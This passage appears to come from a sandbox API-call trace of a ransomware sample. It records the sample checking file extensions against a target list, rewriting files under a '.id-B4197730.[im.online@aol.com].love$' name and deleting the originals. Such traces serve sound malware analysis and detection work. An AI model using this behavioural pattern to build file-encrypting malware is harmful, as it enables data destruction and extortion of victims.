Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0229.258] GetLastError () returned 0x0 [0229.258] ReadFile (in: hFile=0x450, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x3e70, lpOverlapped=0x0) returned 1 [0229.265] WriteFile (in: hFile=0x45c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x3e80, lpOverlapped=0x0) returned 1 [0229.267] ReadFile (in: hFile=0x450, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0229.267] WriteFile (in: hFile=0x45c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xec, lpOverlapped=0x0) returned 1 [0229.268] SetEndOfFile (hFile=0x45c) returned 1 [0229.268] CloseHandle (hObject=0x45c) returned 1 [0229.270] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0229.270] SetEndOfFile (hFile=0x450) returned 1 [0229.274] CloseHandle (hObject=0x450) returned 1 [0229.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0229.275] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0229.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.276] lstrlenW (lpString=".doc") returned 4 [0229.276] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0229.276] lstrlenW (lpString=".docx") returned 5 [0229.276] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0229.276] lstrlenW (lpString=".pdf") returned 4 [0229.276] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0229.276] lstrlenW (lpString=".xls") returned 4 [0229.276] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0229.276] lstrlenW (lpString=".xlsx") returned 5 [0229.276] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0229.276] lstrlenW (lpString=".ppt") returned 4 [0229.276] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0229.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.276] lstrlenW (lpString=".zip") returned 4 [0229.276] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0229.276] lstrlenW (lpString=".rar") returned 4 [0229.276] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0229.276] lstrlenW (lpString=".bz2") returned 4 [0229.276] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0229.277] lstrlenW (lpString=".7z") returned 3 [0229.277] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.277] lstrlenW (lpString=".dbf") returned 4 [0229.277] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.277] lstrlenW (lpString=".1cd") returned 4 [0229.277] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.277] lstrlenW (lpString=".jpg") returned 4 [0229.277] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.277] lstrlenW (lpString=".doc") returned 4 [0229.277] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0229.277] lstrlenW (lpString=".docx") returned 5 [0229.277] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0229.277] lstrlenW (lpString=".pdf") returned 4 [0229.277] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0229.277] lstrlenW (lpString=".xls") returned 4 [0229.277] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0229.277] lstrlenW (lpString=".xlsx") returned 5 [0229.277] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0229.277] lstrlenW (lpString=".ppt") returned 4 [0229.277] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0229.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.278] lstrlenW (lpString=".zip") returned 4 [0229.278] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0229.278] lstrlenW (lpString=".rar") returned 4 [0229.278] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0229.278] lstrlenW (lpString=".bz2") returned 4 [0229.278] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0229.278] lstrlenW (lpString=".7z") returned 3 [0229.278] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0229.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.278] lstrlenW (lpString=".dbf") returned 4 [0229.278] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0229.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.278] lstrlenW (lpString=".1cd") returned 4 [0229.278] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0229.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0229.278] lstrlenW (lpString=".jpg") returned 4 [0229.278] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0229.278] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0229.278] lstrlenW (lpString="InkObj.dll") returned 10 [0229.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.280] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=2018304) returned 1 [0229.280] CloseHandle (hObject=0x3bc) returned 1 [0229.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0229.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.281] lstrlenW (lpString=".doc") returned 4 [0229.281] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.281] lstrlenW (lpString=".docx") returned 5 [0229.281] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0229.281] lstrlenW (lpString=".pdf") returned 4 [0229.281] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.281] lstrlenW (lpString=".xls") returned 4 [0229.281] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.281] lstrlenW (lpString=".xlsx") returned 5 [0229.281] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0229.281] lstrlenW (lpString=".ppt") returned 4 [0229.281] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.282] lstrlenW (lpString=".zip") returned 4 [0229.282] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.282] lstrlenW (lpString=".rar") returned 4 [0229.282] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.282] lstrlenW (lpString=".bz2") returned 4 [0229.282] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.282] lstrlenW (lpString=".7z") returned 3 [0229.282] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.282] lstrlenW (lpString=".dbf") returned 4 [0229.282] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.282] lstrlenW (lpString=".1cd") returned 4 [0229.282] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.282] lstrlenW (lpString=".jpg") returned 4 [0229.282] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.282] lstrlenW (lpString=".doc") returned 4 [0229.282] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.282] lstrlenW (lpString=".docx") returned 5 [0229.282] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0229.282] lstrlenW (lpString=".pdf") returned 4 [0229.282] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.283] lstrlenW (lpString=".xls") returned 4 [0229.283] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.283] lstrlenW (lpString=".xlsx") returned 5 [0229.283] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0229.283] lstrlenW (lpString=".ppt") returned 4 [0229.283] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.283] lstrlenW (lpString=".zip") returned 4 [0229.283] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.283] lstrlenW (lpString=".rar") returned 4 [0229.283] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.283] lstrlenW (lpString=".bz2") returned 4 [0229.283] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.283] lstrlenW (lpString=".7z") returned 3 [0229.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.283] lstrlenW (lpString=".dbf") returned 4 [0229.283] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.283] lstrlenW (lpString=".1cd") returned 4 [0229.283] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0229.283] lstrlenW (lpString=".jpg") returned 4 [0229.283] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.284] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0229.284] lstrlenW (lpString="InputPersonalization.exe") returned 24 [0229.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.285] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=367104) returned 1 [0229.285] CloseHandle (hObject=0x3bc) returned 1 [0229.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0229.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.286] lstrlenW (lpString=".doc") returned 4 [0229.286] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0229.286] lstrlenW (lpString=".docx") returned 5 [0229.286] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0229.286] lstrlenW (lpString=".pdf") returned 4 [0229.286] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0229.286] lstrlenW (lpString=".xls") returned 4 [0229.286] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0229.286] lstrlenW (lpString=".xlsx") returned 5 [0229.286] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0229.286] lstrlenW (lpString=".ppt") returned 4 [0229.287] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0229.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.287] lstrlenW (lpString=".zip") returned 4 [0229.287] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0229.287] lstrlenW (lpString=".rar") returned 4 [0229.287] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0229.287] lstrlenW (lpString=".bz2") returned 4 [0229.287] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0229.287] lstrlenW (lpString=".7z") returned 3 [0229.287] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0229.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.287] lstrlenW (lpString=".dbf") returned 4 [0229.287] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0229.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.287] lstrlenW (lpString=".1cd") returned 4 [0229.287] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0229.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.287] lstrlenW (lpString=".jpg") returned 4 [0229.287] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0229.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.287] lstrlenW (lpString=".doc") returned 4 [0229.287] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0229.287] lstrlenW (lpString=".docx") returned 5 [0229.287] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0229.288] lstrlenW (lpString=".pdf") returned 4 [0229.288] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0229.288] lstrlenW (lpString=".xls") returned 4 [0229.288] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0229.288] lstrlenW (lpString=".xlsx") returned 5 [0229.288] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0229.288] lstrlenW (lpString=".ppt") returned 4 [0229.288] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.288] lstrlenW (lpString=".zip") returned 4 [0229.288] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0229.288] lstrlenW (lpString=".rar") returned 4 [0229.288] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0229.288] lstrlenW (lpString=".bz2") returned 4 [0229.288] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0229.288] lstrlenW (lpString=".7z") returned 3 [0229.288] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.288] lstrlenW (lpString=".dbf") returned 4 [0229.288] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.288] lstrlenW (lpString=".1cd") returned 4 [0229.288] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 75 [0229.288] lstrlenW (lpString=".jpg") returned 4 [0229.288] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0229.289] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0229.556] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18 [0229.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.558] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=2560) returned 1 [0229.558] CloseHandle (hObject=0x404) returned 1 [0229.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0229.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.558] lstrlenW (lpString=".doc") returned 4 [0229.558] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.558] lstrlenW (lpString=".docx") returned 5 [0229.558] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0229.558] lstrlenW (lpString=".pdf") returned 4 [0229.559] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.559] lstrlenW (lpString=".xls") returned 4 [0229.559] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.559] lstrlenW (lpString=".xlsx") returned 5 [0229.559] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0229.559] lstrlenW (lpString=".ppt") returned 4 [0229.559] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.559] lstrlenW (lpString=".zip") returned 4 [0229.559] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.559] lstrlenW (lpString=".rar") returned 4 [0229.559] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.559] lstrlenW (lpString=".bz2") returned 4 [0229.559] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.559] lstrlenW (lpString=".7z") returned 3 [0229.559] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.559] lstrlenW (lpString=".dbf") returned 4 [0229.559] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.559] lstrlenW (lpString=".1cd") returned 4 [0229.559] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.559] lstrlenW (lpString=".jpg") returned 4 [0229.559] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.560] lstrlenW (lpString=".doc") returned 4 [0229.560] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.560] lstrlenW (lpString=".docx") returned 5 [0229.560] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0229.560] lstrlenW (lpString=".pdf") returned 4 [0229.560] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.560] lstrlenW (lpString=".xls") returned 4 [0229.560] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.560] lstrlenW (lpString=".xlsx") returned 5 [0229.560] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0229.560] lstrlenW (lpString=".ppt") returned 4 [0229.560] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.560] lstrlenW (lpString=".zip") returned 4 [0229.560] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.560] lstrlenW (lpString=".rar") returned 4 [0229.560] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.560] lstrlenW (lpString=".bz2") returned 4 [0229.560] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.560] lstrlenW (lpString=".7z") returned 3 [0229.560] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.560] lstrlenW (lpString=".dbf") returned 4 [0229.560] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.560] lstrlenW (lpString=".1cd") returned 4 [0229.560] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0229.560] lstrlenW (lpString=".jpg") returned 4 [0229.560] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.561] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0229.561] lstrlenW (lpString="VSTOInstallerUI.dll") returned 19 [0229.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.565] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=12448) returned 1 [0229.565] CloseHandle (hObject=0x404) returned 1 [0229.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0229.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.566] lstrlenW (lpString=".doc") returned 4 [0229.566] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.566] lstrlenW (lpString=".docx") returned 5 [0229.566] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0229.566] lstrlenW (lpString=".pdf") returned 4 [0229.566] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.566] lstrlenW (lpString=".xls") returned 4 [0229.566] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.566] lstrlenW (lpString=".xlsx") returned 5 [0229.566] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0229.566] lstrlenW (lpString=".ppt") returned 4 [0229.566] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.566] lstrlenW (lpString=".zip") returned 4 [0229.566] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.566] 